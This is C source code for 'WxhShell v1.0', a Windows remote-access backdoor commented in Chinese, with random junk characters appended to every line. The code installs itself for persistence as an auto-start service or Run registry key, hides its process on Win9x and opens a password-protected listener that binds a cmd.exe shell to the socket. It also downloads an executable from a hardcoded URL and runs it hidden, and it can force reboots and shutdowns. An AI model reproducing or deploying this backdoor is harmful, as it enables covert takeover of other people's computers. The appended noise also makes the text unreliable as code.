    else { VBF:MAA  
    closesocket(wsh); Y~A I2HS  
    ExitThread(0); d;wq@ e  
    } "`cPV){]  
    break; Mx`';z8~  
    } 6sQ;Z|!Pz  
  // 获取shell z=g!mVK5  
  case 's': { ~>lqEa  
    CmdShell(wsh); U`HY eJ  
    closesocket(wsh); l&e$:=;8  
    ExitThread(0); q*` m%3{  
    break; ~ss6yQ$  
  } JoiGuZd>  
  // 退出 HiU)q  
  case 'x': { -WF((s;<#  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); TNA7(<"fV|  
    CloseIt(wsh); a|oh Ad  
    break; Q1x&Zm1v  
    } ~n%Lo3RiP  
  // 离开 .Wy'  
  case 'q': { |m"Gr)Gm  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); K/f-9hE F  
    closesocket(wsh); ZAN~TG<n  
    WSACleanup(); 3Wv^{|^  
    exit(1); su1fsoL0  
    break; ,(K-;Id4  
        } QSa#}vCp*  
  } =mZYBm,IQ  
  } _8 0L/92  
5 m-/N ?c  
  // 提示信息 6Q]c}  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a~_JTH4=t  
} Xy=ETV%  
  } >A-{/"p#  
w(S~}'Sg*P  
  return; _u$DcA8B  
} OQKg/1  
U), HrI>;  
// shell模块句柄 IjRUr\l  
int CmdShell(SOCKET sock) qAH^BrJ  
{ GU2TQx{V  
STARTUPINFO si; zm5Pl G  
ZeroMemory(&si,sizeof(si)); 9cP{u$  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; q@[F|EF=  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 6?<lS.s  
PROCESS_INFORMATION ProcessInfo; jmaw-Rx  
char cmdline[]="cmd"; s_fe4K  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); YF-E1`+?<  
  return 0; : q%1Vi  
} Um4zI>  
S!=R\_{u$  
// 自身启动模式 kG!hqj  
int StartFromService(void) Nr2,m"R{  
{ u$[8Zmgzz  
typedef struct *(q?O_3,b  
{ hZ e{Ri  
  DWORD ExitStatus; ez[x8M>  
  DWORD PebBaseAddress; DAWF =p]  
  DWORD AffinityMask; /Z^a, %1  
  DWORD BasePriority; JP6 Noia  
  ULONG UniqueProcessId; Nr>UZlU8  
  ULONG InheritedFromUniqueProcessId; O]=jI  
}   PROCESS_BASIC_INFORMATION; %?gG-R  
hwXsfh |  
PROCNTQSIP NtQueryInformationProcess; 7A(4`D J  
T{+a48,;  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ^t gjs$M|  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; _h}(j Ed!  
Bt@?l]Y  
  HANDLE             hProcess; E#(e2Z=  
  PROCESS_BASIC_INFORMATION pbi; Q?>r:vMi  
;u'VR}4ph  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); g{}<ptx]  
  if(NULL == hInst ) return 0; E<3xv;v8r  
xtv%C  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); #?S"y:  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 61kSCu  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); i&6U5Va,G  
/FXvrH(  
  if (!NtQueryInformationProcess) return 0; K(u pz n*a  
Pa d)|  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ij4q &i"  
  if(!hProcess) return 0; i3|xdYe$  
Q<V1`e  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )YEAk@h@  
(nB[aM  
  CloseHandle(hProcess); R~a9}&  
E%v0@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); U'" #jT  
if(hProcess==NULL) return 0; Ar >JQ@0  
w>X@ ,  
HMODULE hMod; l59\Lo:  
char procName[255]; N(4y}-w$  
unsigned long cbNeeded; l([aKm#  
c8mh#T bl  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 3^wHL:u  
GP4!t~"1  
  CloseHandle(hProcess); (kY  0<  
P A ZjA0d  
if(strstr(procName,"services")) return 1; // 以服务启动 B$2GEg]Ri  
N}n3 +F  
  return 0; // 注册表启动 +zche  
} $k&v juB.  
3\P*"65  
// 主模块 00i MU  
int StartWxhshell(LPSTR lpCmdLine) R$l- 7YSt  
{ Zx{Sxv"  
  SOCKET wsl; D%3$"4M7!  
BOOL val=TRUE; .>TG{>sH  
  int port=0; Ot47.z  
  struct sockaddr_in door; IYq#|^)5+  
VS ECD;u4c  
  if(wscfg.ws_autoins) Install(); gd#R7[AVi  
sdO8;v>  
port=atoi(lpCmdLine); WynTU?  
u(1m#xr8$  
if(port<=0) port=wscfg.ws_port; pm=O.)g4`  
iB W:t  
  WSADATA data; m_Ed[h/I  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ^GM3nx$  
fgL"\d}  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   N`IXSE  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); tx[;& ;  
  door.sin_family = AF_INET; bf.+Ewb(  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); QChWy`x  
  door.sin_port = htons(port); U}X'RCM  
g,WTXRy  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { XQ[\K6X5  
closesocket(wsl); lU Zj  
return 1; ^,=}'H]  
} 9A4n8,&sm  
Ji,;ri2i  
  if(listen(wsl,2) == INVALID_SOCKET) { X4:84  
closesocket(wsl); AaB1H7r-  
return 1; |7,$.MK-@  
} [-l>f P0  
  Wxhshell(wsl); C[znUI>  
  WSACleanup(); ']2d^'TH  
Z)xcxSo  
return 0; NMw5ixl  
L T`T~|pz  
} r%=a:GdAg  
AX+]Z$  
// 以NT服务方式启动 q'H6oD`  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 7ZAxhFC  
{ X(d:!-_m *  
DWORD   status = 0; o-_,l J7o^  
  DWORD   specificError = 0xfffffff; _+)OL-  
K($+ILZ  
  serviceStatus.dwServiceType     = SERVICE_WIN32; 7`L]aRS[  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; x%$6l  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zBTxM  
  serviceStatus.dwWin32ExitCode     = 0; &-NGVPk81`  
  serviceStatus.dwServiceSpecificExitCode = 0; 1=+S'_j  
  serviceStatus.dwCheckPoint       = 0; d/oD]aAEr  
  serviceStatus.dwWaitHint       = 0; 8TH;6-RT  
|,n(9Ix  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ueW/i  
  if (hServiceStatusHandle==0) return;  wDiq~!  
fOSJdX0e|Q  
status = GetLastError(); ScInOPb'K  
  if (status!=NO_ERROR) jsV1~1:83  
{ (mi=I3A(  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; B[w.8e5  
    serviceStatus.dwCheckPoint       = 0; ~9!@BL\  
    serviceStatus.dwWaitHint       = 0; AxJqLSfyb,  
    serviceStatus.dwWin32ExitCode     = status; e5FF'~A%]  
    serviceStatus.dwServiceSpecificExitCode = specificError; ):=8w.yC  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); x`wUi*G  
    return; GmUm?A@B  
  } ="@f~~  
=VWH8w.3  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; %ID48_>*  
  serviceStatus.dwCheckPoint       = 0; Bq4@I_b  
  serviceStatus.dwWaitHint       = 0; ed/ "O gA  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4rCw#mVtB  
} :=quCzG  
k_OzkEM9!  
// 处理NT服务事件,比如:启动、停止 8X\":l:  
VOID WINAPI NTServiceHandler(DWORD fdwControl) L1SZutWD?  
{ _4lKd`  
switch(fdwControl) N40DL_-  
{ `Z@qWB<  
case SERVICE_CONTROL_STOP: &x4|!" G  
  serviceStatus.dwWin32ExitCode = 0; py/#h$eY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; PC?XE8o  
  serviceStatus.dwCheckPoint   = 0; I<&) P#"  
  serviceStatus.dwWaitHint     = 0; =#I/x=L:  
  { ]PH'G>x  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); %$R]NL|  
  } T' )l  
  return; @ w,O1Xwj  
case SERVICE_CONTROL_PAUSE: :u?L y[x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; / \k\HK8  
  break; 0*/[z~Z-1  
case SERVICE_CONTROL_CONTINUE: pc](  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; Y)C!N$=@Q  
  break; [_tBv" z  
case SERVICE_CONTROL_INTERROGATE: ~Y7:08  
  break; 6oR5q 4  
}; M+M\3U  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); Ij7[2V]c  
} $?|$uMIafp  
]M&KUgz  
// 标准应用程序主函数 x?G"58  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) AUm5$;o,/  
{ kfs[*ku  
R\lUE,o]<q  
// 获取操作系统版本 G9 ra;.  
OsIsNt=GetOsVer(); PCiwQ4~  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 6Iv &c2  
o;{BI Q1  
  // 从命令行安装 6tBe,'*  
  if(strpbrk(lpCmdLine,"iI")) Install(); Zopi;O J  
bb`8YF+?'  
  // 下载执行文件 t`"pn <  
if(wscfg.ws_downexe) { & ]1gx#  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2j-^F  
  WinExec(wscfg.ws_filenam,SW_HIDE); *~jTE;J  
} CdNb&Nyz  
sk~inIj-  
if(!OsIsNt) { yz^Rm2$f9  
// 如果时win9x,隐藏进程并且设置为注册表启动 @*5(KIeeC>  
HideProc(); )s>R~7  
StartWxhshell(lpCmdLine); uwWKsZ4:ij  
} OCbwV7q:  
else R2f^dt^  
  if(StartFromService()) C"g bol^  
  // 以服务方式启动 X~ g9TUv8  
  StartServiceCtrlDispatcher(DispatchTable); g,}_&+q:.M  
else 'Em633  
  // 普通方式启动 nm]m!.$d  
  StartWxhshell(lpCmdLine); C?t!Uvs  
%<^j=K= 0  
return 0; D` 2w>{Y  
} T8 >aU  
J)= "Im)  
o'|B|oZ  
6=g! Hs{  
=========================================== hf< [$B  
o&#!W(   
CK(`]-q>,  
E5g|*M.+f  
]Yk)A.y  
nXfd f-  
" B PG&R  
r&Qq,koE  
#include <stdio.h> 5 N:IH@  
#include <string.h> #X qnH  
#include <windows.h> u Fn?U)  
#include <winsock2.h> 5Tq*]Z E  
#include <winsvc.h> Y |9  
#include <urlmon.h> V{n7KhN~Y!  
zQaD&2 q  
#pragma comment (lib, "Ws2_32.lib") 9E}JtLgT  
#pragma comment (lib, "urlmon.lib") q@vqhE4  
N."x@mV  
#define MAX_USER   100 // 最大客户端连接数 QAX3*%h  
#define BUF_SOCK   200 // sock buffer PP8627uP  
#define KEY_BUFF   255 // 输入 buffer kbZpi`w  
}/M muPp  
#define REBOOT     0   // 重启 )rD!4"8/A  
#define SHUTDOWN   1   // 关机 &)%+DUV|  
TZAd{EZa  
#define DEF_PORT   5000 // 监听端口 L^3&  
~ELMLwn.  
#define REG_LEN     16   // 注册表键长度 HUi?\4  
#define SVC_LEN     80   // NT服务名长度 !Qe ;oMqy}  
4^tSg#!V{  
// 从dll定义API hm`=wceK  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); GQqGrUQ*}  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);  ?pTX4a&>  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ;Y$>WKsV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); -3EQRqVg  
Q+ ^ &  
// wxhshell配置信息 IOcQI:4.`  
struct WSCFG { /o9T [ ^\  
  int ws_port;         // 监听端口 ` p\=NP!n  
  char ws_passstr[REG_LEN]; // 口令 T{k P9 4  
  int ws_autoins;       // 安装标记, 1=yes 0=no $;qi -K3j  
  char ws_regname[REG_LEN]; // 注册表键名 ?Z7`TnG$uf  
  char ws_svcname[REG_LEN]; // 服务名 z)qYW6o%  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 _M&TT]a  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 r ]DiB:.  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Gk,Bx1y  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Ts5)r(  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ~s!Q0G^G  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 #DTKz]i?  
Ps!MpdcL3  
}; 1- KNXGb'  
XO <wK  
// default Wxhshell configuration OXEk{#Uf[3  
struct WSCFG wscfg={DEF_PORT, &L ;ocd$  
    "xuhuanlingzhe", Ms{";qiG  
    1, HN5m%R&`  
    "Wxhshell", ?+yr7_f3*  
    "Wxhshell", pP. _%5  
            "WxhShell Service", 8Bf >  
    "Wrsky Windows CmdShell Service", -+#%]P8l  
    "Please Input Your Password: ", m&.LJ*uM\K  
  1, )dXa:h0RZ  
  "http://www.wrsky.com/wxhshell.exe", _gvFs %J  
  "Wxhshell.exe" Jh26!%<Bl  
    }; D*XrK0#Z`  
D'"  T'@  
// 消息定义模块 ;O"?6d0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ^|]&"OaB Z  
char *msg_ws_prompt="\n\r? for help\n\r#>"; =kjKK  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; j]Auun  
char *msg_ws_ext="\n\rExit."; F^i3e31*t  
char *msg_ws_end="\n\rQuit."; OxlA)$.hpu  
char *msg_ws_boot="\n\rReboot..."; eA/n.V$z  
char *msg_ws_poff="\n\rShutdown..."; i]JTKL{\q  
char *msg_ws_down="\n\rSave to "; S$6|K Y u  
Wh[QR-7Ew  
char *msg_ws_err="\n\rErr!"; j#NyNv(jE1  
char *msg_ws_ok="\n\rOK!"; JzyCeM =  
6#=jF[  
char ExeFile[MAX_PATH]; VF%QM;I[Rc  
int nUser = 0; vB:\ZX4  
HANDLE handles[MAX_USER]; ZlT }cA/n  
int OsIsNt; Y-VDi.]W  
W^(zP/  
SERVICE_STATUS       serviceStatus; !b8V&<  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oV|O`n  
V!l?FOSZ  
// 函数声明 !yd ]~t 5Q  
int Install(void); Gt)ij?~  
int Uninstall(void); bh(} f.@ 9  
int DownloadFile(char *sURL, SOCKET wsh); %o 5'M^U  
int Boot(int flag); .yDGwLry  
void HideProc(void); y^z c @f  
int GetOsVer(void); N0%q 66]1  
int Wxhshell(SOCKET wsl); --EDr>'D5P  
void TalkWithClient(void *cs);  +#\7 #Y  
int CmdShell(SOCKET sock); w{t]^w:  
int StartFromService(void); {Kf5a m  
int StartWxhshell(LPSTR lpCmdLine); XOLE=zdSp  
\B^NdG5Y  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ,,!P-kK$  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); F-$!e?,H  
KK6fRtKv>q  
// 数据结构和表定义 1$+8wDVwad  
SERVICE_TABLE_ENTRY DispatchTable[] = z(>QGzyc  
{ ?T.=y m  
{wscfg.ws_svcname, NTServiceMain}, ALV(fv$cD  
{NULL, NULL} l4dG=x}M]  
}; |}.}q  
P@f#DX )  
// 自我安装 |j81?4<)v  
int Install(void) H\qZu%F'  
{ O@4J=P=w  
  char svExeFile[MAX_PATH]; o.kDOqd  
  HKEY key; C<3<,~gI  
  strcpy(svExeFile,ExeFile); zj(V\y&H  
iPCCTs  
// 如果是win9x系统,修改注册表设为自启动 ~\8(+qIv%f  
if(!OsIsNt) { d#]hqy  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { JSi0-S[Y{  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); A*wf: mW0c  
  RegCloseKey(key); [8^q3o7n  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { pu+Q3NfR  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); k=[s%O 6H  
  RegCloseKey(key); A=5Ebu!z  
  return 0; 3F@P$4!#l  
    } * m^\&  
  } (wM` LE(Ks  
} jeJgDAUv  
else { E_aBDiyDf  
rv(?%h`  
// 如果是NT以上系统,安装为系统服务 * 70 ZAo4  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); tV`=o$`  
if (schSCManager!=0) MO8}i?u=z  
{ U`ttT5;  
  SC_HANDLE schService = CreateService P_1WJ  
  ( pT]hPuC  
  schSCManager, rMDvnF  
  wscfg.ws_svcname, #ODP+>-IjB  
  wscfg.ws_svcdisp, 9j>2C  
  SERVICE_ALL_ACCESS, 't5ufAT  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , SKL4U5D{  
  SERVICE_AUTO_START, Cdz&'en^  
  SERVICE_ERROR_NORMAL, x|0C0a\"A  
  svExeFile, 1_] X  
  NULL, w*VN =  
  NULL, d&FXndC4F  
  NULL, ?%  24M\  
  NULL, ]<>cjk.ya  
  NULL L7C ;l,ot  
  ); rFg$7  
  if (schService!=0) #KJ# 1  
  { `MOw\Z)..  
  CloseServiceHandle(schService); XjGS.&'I  
  CloseServiceHandle(schSCManager); OTXZdAv  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c4tw)O-X  
  strcat(svExeFile,wscfg.ws_svcname); e"S?qpJK  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { w.?4}'DK  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Fc1!i8vv  
  RegCloseKey(key); >a?Bk4w  
  return 0; X,k^p[Rcu  
    } /mex{+p>tO  
  } t eY@) F  
  CloseServiceHandle(schSCManager); ^^N|:80  
} &>JP.//spi  
} xnZnbgO+  
Tx;a2:6\[  
return 1; hC\ l \y  
} dR S:S_  
HOP*QX8C%  
// 自我卸载 }4|EHhG  
int Uninstall(void) JQ03om--(  
{ iW` tr  
  HKEY key; o}rG:rhIh  
f% pT-#  
if(!OsIsNt) { e|]e\Or>  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 3`^@ymY  
  RegDeleteValue(key,wscfg.ws_regname); ?})A-$f ~  
  RegCloseKey(key); k1wIb']m]z  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { T*x2+(r  
  RegDeleteValue(key,wscfg.ws_regname); ! ?g+'OM  
  RegCloseKey(key); FzInIif  
  return 0; hne@I1  
  } #t ;`  
} ok:uTeJI  
} =D`8,n [  
else { UGcmzwE  
b84l`J  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); n28JWkK8  
if (schSCManager!=0) 2HeX( rB  
{ X)b$CG  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); F 3|^b{'zO  
  if (schService!=0) l\UjvG  
  { gb_Y]U  
  if(DeleteService(schService)!=0) { 0kE[=#'.'  
  CloseServiceHandle(schService); pfN(Ae Pt  
  CloseServiceHandle(schSCManager); %qc_kQ5%  
  return 0; l2 .S^S  
  } !&:=sA  
  CloseServiceHandle(schService); FZi@h  
  } @:>"VP<(  
  CloseServiceHandle(schSCManager); CWdsOS=  
} )3h\QE!z  
}  *&_*G~>D  
:iE b^F}  
return 1; 7e"}ojt$  
} ]\pi!oa  
<`nShP>vl  
// 从指定url下载文件 q`<vY'&1  
int DownloadFile(char *sURL, SOCKET wsh) 1:-'euA"  
{ > 80{n8  
  HRESULT hr; Qq,2V  
char seps[]= "/"; h^3gYL7O6  
char *token; FV^jCseZ  
char *file; S=qh7ML  
char myURL[MAX_PATH]; <C`bf$ak  
char myFILE[MAX_PATH]; DDrR9}k  
P $`1}  
strcpy(myURL,sURL); 9X*N k~}Y  
  token=strtok(myURL,seps); [ws _ g,/  
  while(token!=NULL) &_L@hsm  
  { si0}b~t  
    file=token; $TUYxf0q  
  token=strtok(NULL,seps); Sdq}?-&Sa  
  } rS1gFGrj  
`O\>vn  
GetCurrentDirectory(MAX_PATH,myFILE); %-n) L  
strcat(myFILE, "\\"); *;A ;)'  
strcat(myFILE, file); !5*VBE\  
  send(wsh,myFILE,strlen(myFILE),0); "| nXR8t.r  
send(wsh,"...",3,0); !#0)`4O  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); xFu ,e  
  if(hr==S_OK) o5Oig  
return 0; !f~a3 {;j  
else J9T2 p\5  
return 1; tc~gn!"  
;$D,w  
} 5:@bNNX'j  
/zIG5RK>  
// 系统电源模块 Cv#aBH'N  
int Boot(int flag) :2/L1A)O  
{ 1Yb&E7j  
  HANDLE hToken; B!'K20"gF  
  TOKEN_PRIVILEGES tkp; d@3DsE.{i  
hW*o;o7u  
  if(OsIsNt) { 0,hs %x>v  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); v H HgZ  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); m H:Un{,  
    tkp.PrivilegeCount = 1; S1=P-Ao  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ,hzRqFg2  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Iy)1(upM  
if(flag==REBOOT) { t'_EcYNS  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))  2s}S9  
  return 0; J^8j|%h%e  
} >DRxF5b{  
else { 6J;!p/C8E  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) h8V*$  
  return 0; ANm@$xO*  
} S?v/diK ]J  
  } 75\ZD-{T:  
  else { 4X=VNORlU0  
if(flag==REBOOT) { rmg\Pa8W>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 2|k$Vfz  
  return 0; Hzz{wY   
} 8~U ^G[!  
else { 8~!E.u9w  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) uzp\V 39  
  return 0; XL*M#Jx  
} I[E 6N2  
} 99OZK  
 %lj5Olj  
return 1; hNc8uV{r=  
} !oyo_h  
yu_PZ"l  
// win9x进程隐藏模块 Yo%U{/e  
void HideProc(void) fTEZ@#p  
{ e"866vc,  
i&DbZ=n2  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); HD<$0M|  
  if ( hKernel != NULL ) 1e\cJ{B  
  { -UEi  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); vapC5,W"2-  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); .5 E)dU  
    FreeLibrary(hKernel); 2wpJ)t*PF  
  } ]fb@>1 jp  
&wi+)d  
return; <HnJD/g  
} #RyTa /L  
x&JD~,Y  
// 获取操作系统版本 a-nn[ j  
int GetOsVer(void) vxi_Y\r=T  
{ !,Cbb }  
  OSVERSIONINFO winfo; 1fM`n5?"  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 8N |K   
  GetVersionEx(&winfo); n _x+xVi%  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ?|_i"*]l  
  return 1; cdGBo4  
  else 6Z=Qs=q  
  return 0; 9; 9ge  
} X f;R'a,$  
f;OB"p  
// 客户端句柄模块 0`v-pL0|  
int Wxhshell(SOCKET wsl) =w:)AWZ  
{ \"L0d1DK)  
  SOCKET wsh; .kkhW8:  
  struct sockaddr_in client; |TQ4:P1T  
  DWORD myID; Wl+spWqW  
%\}5u[V  
  while(nUser<MAX_USER) a2]ZYY`R7  
{ <$Sl%DoS  
  int nSize=sizeof(client); QctzIC#;k  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 8<ev5af  
  if(wsh==INVALID_SOCKET) return 1; 'qG-)2 t  
x&+&)d  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ;|$oz{Ll  
if(handles[nUser]==0) &m\Uc  
  closesocket(wsh); EDh-pK  
else 9%"\s2T  
  nUser++; \~Ml<3Zd:  
  } ]n"U])pJd  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); =1VZcLNt  
s%>8y\MaK  
  return 0; %~>-nqS  
} w-NTw2x,&  
W:9l"'  
// 关闭 socket wuk\__f4  
void CloseIt(SOCKET wsh) [f[Wz{Q#Y  
{ iTT%_-X-  
closesocket(wsh); }s6Veosl  
nUser--; OQKc_z'"  
ExitThread(0); %XZhSmlf  
} o-AF_N  
]$s b<o .a  
// 客户端请求句柄 <%rm?;PBl  
void TalkWithClient(void *cs) ~Je40vO[  
{ ]|=`-)AP3  
c9c3o{(6Y  
  SOCKET wsh=(SOCKET)cs; \IudS{ .?;  
  char pwd[SVC_LEN]; ukc 7Z OQ  
  char cmd[KEY_BUFF]; d+ZXi'  
char chr[1]; oe3=QE  
int i,j; WU@_aw[  
2m*/$GZ  
  while (nUser < MAX_USER) { \i}-Y[Dg  
x ju*zmu  
if(wscfg.ws_passstr) { fOdqr  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); WSv%Rxr8L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); )54a' Hp  
  //ZeroMemory(pwd,KEY_BUFF); VZ">vIRyi|  
      i=0; i3d 2+N`  
  while(i<SVC_LEN) { &5z9C=]e  
L$+_  
  // 设置超时 #Ak|p#7 ^  
  fd_set FdRead; oR,zr  
  struct timeval TimeOut; v<<ATs%w  
  FD_ZERO(&FdRead); & BY\h:  
  FD_SET(wsh,&FdRead); 9vwm RVN  
  TimeOut.tv_sec=8; b?lRada{I  
  TimeOut.tv_usec=0; B*Om\I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Y|J=72!]  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ?$uF(>LD  
t.VVE:A^%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 3hje  
  pwd=chr[0]; mO(Y>|mm  
  if(chr[0]==0xd || chr[0]==0xa) { v,z~#$T&  
  pwd=0; ^;9l3P{  
  break; Dv` "3  
  } C+jXH)|iq  
  i++; }A;YM1^$  
    } W=LJhCpRHj  
(!J;g|58  
  // 如果是非法用户,关闭 socket %|^,Q -i,  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); J4U_utp  
} >j$aY  
kumo%TXB&  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K IR3m )  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 2QEH!)lvr  
V"2 G  
while(1) { :RJo#ape  
_3wK: T{:  
  ZeroMemory(cmd,KEY_BUFF); WPlf8* -fQ  
~Cw7.NA{3  
      // 自动支持客户端 telnet标准   < 3*q) VT  
  j=0; UJ%.KU%Q}  
  while(j<KEY_BUFF) { G(Hr*T%  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7+@-mJMP$D  
  cmd[j]=chr[0]; ,/TmTX--d  
  if(chr[0]==0xa || chr[0]==0xd) { .f. tPm  
  cmd[j]=0; E_[a|N"D  
  break; zSk`Ou8M  
  } MtF0/aT  
  j++; NV?XZ[<*<  
    } ~)>.%`v&  
UzIE,A  
  // 下载文件 +Zr~mwM=x  
  if(strstr(cmd,"http://")) { :[f[-F  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !+z^VcV  
  if(DownloadFile(cmd,wsh)) LjW32>B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZG#:3d*)  
  else c9Cc%EK  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); =5fY3%^b{  
  } 0+SZ-]  
  else { *<SXzJ(  
~UQ<8`@a  
    switch(cmd[0]) { +opym!\  
  -b8SaLak  
  // 帮助 $3&XM  
